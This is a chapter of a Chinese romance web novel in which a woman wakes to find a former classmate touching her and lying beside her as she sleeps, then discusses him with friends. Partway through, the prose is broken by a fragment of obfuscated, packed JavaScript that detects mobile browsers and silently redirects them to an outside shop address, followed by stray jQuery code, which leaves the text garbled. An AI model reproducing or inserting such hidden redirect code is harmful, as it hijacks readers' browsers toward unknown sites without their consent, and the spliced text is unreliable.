当蒋冬霓意识到自己又做梦了的时候,她决心如果再来一次,她就去挂精神科。
不过这一次她梦见的是高中。
在那三节美术课后,蒋冬霓对于画人像短暂失去了兴趣,越是漂亮的人她越不想画,干脆改去画花花草草。
彼时立夏已过,天亮得越来越早,有时她便早起和爷爷奶奶一起去公园。老人家们锻炼,她把书包随便找个地一放,揣着个本子就在旁坐下,等日头高了,下山乘公交去学校。
清晨道路通畅,公交车开得快,她往往是第一个到班级的,一般还要再过上二十分钟才会有人来,整个校园都非常安静,适合她趴在桌子上补眠。
梦就是梦到其中的某天,她前脚从前门进到教室,刚放下书包,教室后门也进来了一个人,抬头一看却是张旬。
六点多钟盛夏的太阳已是明亮而张皇,把两个人对视那一秒的尴尬照得无处可藏,张旬似乎又要对她假客气前,蒋冬霓先一步扭过身坐下,脸朝向另一边,枕在手臂里。
蒋冬霓记得那天实际发生的情况到这里就结束了,她没有睡着,等到其他同学陆陆续续来教室,便起来了,但在时隔多年后的这个梦里,她半睡半醒,不知道过了多久,感觉好像有人站在她面前,她换了个方向趴着,那人又绕到这边来,然后她的脸被手指戳了一下。
蒋冬霓惊怒,但眼睛却睁不开,只听对方低低地说了什么,听不清楚,却莫名觉得是张旬的声音。
蒋冬霓清醒的意识始终在袖手旁观,她不禁怀疑这事到底有没有发生过,可别让她做的梦到头来污染了她的记忆,但是,张旬戳她脸干嘛呢?这倒很像她最近做梦才会梦到的。
这么想的时候,男人又戳了一下她的脸,说是戳,更像是点,点过嘴角、鼻尖、眉间,轻轻地落下,慢慢地抬起,有些粗糙的指腹,竟也那样温烫,贴着肌肤,动作轻佻又亲昵。
然后改为温柔的抚摸,过了度,像蛇一样一寸寸缠绕,伴随着有些窒息的黏腻,而且越来越真实的感觉,令蒋冬霓感到不适,她觉得自己好像一只任人宰割的猎物。
但瑟瑟发抖的猎物才最有趣,能够激发猎人的嗜血暴力,她昏昏沉沉间,都感到了对方的不耐。
和之前梦里的是同一个人吗?之前梦里的他可不是这样的,大概也是玩腻了。
嗯?怎么她又躺在床上了?是了,是在做梦。
躺在床上的放松与趴在桌上的感觉截然不同,蒋冬霓掉入黑暗的虚空,两腿一软,清醒了一瞬,连对方说了什么都听得清楚了。
被轻轻揉捏着耳朵,语气不满地说:“……在别人的床上也睡得这么沉。”
蒋冬霓的眼睛还是闭着的,她把脸朝向另一边。梦境安静了一会,但很快,又令她胆战心惊。
她感到身边的床柔软地塌陷,是一个成年男人的重量,她一动不敢动,任那人躺在她身侧。
蒋冬霓心跳得越来越快,“怦怦”的声音大到她担心会被旁人听见。她出了汗,因为身体僵硬,皮肤也开始发痒,在一片被笼住的黑暗里,极尽全力地忍耐。
等待。
那只手、那个人……
刽子手将砍刀砍下。
张旬隔着被子把她抱住了,额头抵着她的肩膀,她感觉到他温热的呼吸起伏,不知道过了多久,那呼吸声趋于一种绵长的松懈,蒋冬霓挣扎着,终于睁开了眼睛。
那样近的一张睡颜,熟悉的但绝对陌生的,蒋冬霓被兜头泼了一盆冷水,方才的紧张和难以置信,如同被急出的一身薄汗般渐渐冷却,留下斑驳的狼狈。
午后的阳光被窗帘遮住,整个房间陷入沉静凝滞的昏黄中。
蒋冬霓醒得彻底,望着天花板,心底好比一片被收割干净了的芦苇地,冷风一道道地刮划干硬的土壤。
不知道过了多久,一把野火才烧起来。
她真是个傻子,傻到家了,蒋冬霓几乎就要掀开张旬的手把他摁在床上揍一顿,但最后还是只是直直地盯着天花板。
一点害怕、一点茫然、一点难过、一点羞耻……难以言说的情绪积聚成云,云落成雨,一滴滴落下来,浇灭了火,剩下漫天飞扬的尘灰。
张旬没睡多久,或者说,他可能没有真的睡着。
总之他很快醒了,在察觉到他要醒来之前,不知道该如何与张旬对峙的蒋冬霓自我厌弃地闭上眼睛假寐。她感觉到张旬似乎又那样看着自己,轻声笑了句:“怎么还在睡。”
有那么一瞬间,她觉得自己被看穿了。
可她的眼前是一片黑暗。
良久,张旬起身下床,轻声地打开阳台门,过了会再关上,然后才离开。
等到外头再也没有声响,蒋冬霓才屏着一口气慢慢睁开眼睛,侧躺在床上,看了窗帘好一会儿,起身下床。
拉开窗帘,明媚的阳光撕破了房间的幽暗,晃得蒋冬霓眯了眯眼睛。定睛看去,那套黑色的短袖和短裤不见了,没了衣物的遮挡,远眺,夏日的天特别蓝,白云一朵又一朵,花一般绽放。
毕彭和覃思正傍晚才回来,大包小包的,包括晚饭。
张旬已经走了,毕彭问蒋冬霓:“什么走的?我们出门前还提醒他有几件衣服挂在阳台,带走了吗?”
蒋冬霓:“带走了。”
”你这睡了一觉,怎么更蔫了?”毕彭奇道。
蒋冬霓淡淡地说:“我发誓,我要戒酒。”
“……真这么难受啊?”毕彭小了声音,“我错了,宝。”
“嗯,很难受。”
毕彭抱住她撒娇:“别生我气了哈,我下次不会了。”
蒋冬霓一笑,“我没生你气。”
“我支持你戒酒。”
这么说的毕彭自己是忍不了不喝酒的,不过喝一罐啤酒对她来说不在话下。吃过饭,覃思正开车送蒋冬霓回家,毕彭和蒋冬霓肩靠肩坐在一起。
越往城南开,可以看到建筑越破落,高楼大厦都变成了抛在身后的风景线,毕彭说:“你这环境确实挺堪忧的。”
蒋冬霓说:“是吧,所以我说你也住不了。”
“那也不至于。”毕彭说,“不过张旬能住这么久,也挺有本事。”
说者无意、听者有心,蒋冬霓略一细想,心更沉了一分。
毕彭和覃思正回到家就觉得蒋冬霓情绪似乎有点低沉,覃思正从后视镜看了蒋冬霓一眼,“真送你回去?”
蒋冬霓也不知道他从毕彭那里听说了多少,是什么样的版本,好笑道:“不然呢?”
覃思正问:“他什么时候走的?”
蒋冬霓看着覃思正的背影,后者看起来还是认真开车的模样,似乎这只是他随口的一个问题,蒋冬霓看向窗外,也随口答道:“两三点那个时候吧。”
“张旬不记得高中时候的事情了?”
“他自己说不记得了。”
“但我和他聊,感觉……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14194925|150776||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>蒋冬霓已经无所谓了,“不知道,可能他不想说吧,有些事情可能还能想起来。”
但也许他根本就没忘过。
车子停在小区门口,蒋冬霓让毕彭和覃思正不用送她,但下了车还没走几步,覃思正追上来。
他有话想说,不过走了几步,还没有找到开场白,蒋冬霓不耐烦催他,他才说:“你和张旬现在算是和好了?”
不,是旧恨添新仇了。
“怎么?”蒋冬霓冷声问。
覃思正没听出异样,“……张旬昨天晚上,一直问我你的事情。”
那条蛇仿佛又顺着她的脚踝缠了上来,蒋冬霓脚步微顿,若无其事地继续往前走去,“问我什么?”
“你高中的事情,还有大学的事情。”
“你都说了什么?”
“也没什么。”覃思正说,都是些很琐碎的事情,聊到什么说什么,要一件件讲都没有章法,“他问我你高中对他的印象,还有你大学的事情,不过你和孟行远的事我不太清楚。”
蒋冬霓:“毕彭不是知道?”
停在单元楼下,两个人都抬头看了一眼,只有二楼的灯是亮着的。
覃思正答非所问:“小彭是说了些话激他。”
蒋冬霓:“激到了吗?”
“没有。”覃思正说。
“你和我说这些干嘛?”
“小彭让我不要多管闲事,但我觉得,你可以注意一下,”覃思正严肃了一点,“我觉得他好像喜欢你。”
蒋冬霓冷笑:“你这是同意还是反对?”
覃思正答非所问:“他也算是你当年的绯闻男友。”
“我还和你传过呢。”
“昨天张旬还问起我这个,所以我说我一点看不出他失忆的样子。”
蒋冬霓:“……”
这个骗子,她真想上去把张旬的东西都从阳台扔出去。
“我上楼了。”
“不过,如果你——”
覃思正喊住蒋冬霓,却被蒋冬霓瞪得后退一步,举起手,投降状,想说的后半茬话都忘了,只有目送蒋冬霓猛地甩上门禁门跑上楼去。
但那门禁门甩得再用力,最后一个角度,翼闸还是回收得慢慢的,覃思正抿了抿嘴,往回走去。该听毕彭的,少管闲事。
这也不算管着事了吧?
他回到车上,毕彭瞧他一眼,就说:“被骂了吧?”
覃思正摸摸鼻子:“还好。”
“他俩没可能的,别操心了。”
“为什么?”覃思正边倒车边看了毕彭一眼,“当初蒋冬霓也是这么说我和你的。”
毕彭笑了,“所以你这是撮合呢还是报复呢?”
覃思正想起高中时他给蒋冬霓讲题,一抬头和从讲台上走下来的张旬眼神撞上,后来篮球场上他被叫上替补,张旬还是那个眼神,不过却把球传给了他。
昨晚又见到,他的眼神似乎没有变,带着一点探究,说不上友不友好,仿佛他是一道求证的步骤之一,通过他可以得到一个结果似的。
覃思正摇头,“不管他们了,我们回家吧。”
毕彭哼了一声。
“反正你要对我负责。”覃思正突然来了这么一句。
毕彭被噎了一下,“闭嘴吧你。”
被骂的人倒吃吃地傻笑了下。
毕彭不禁捂脸,有时回想往事,其实她才是那个更应该戒酒的那一个。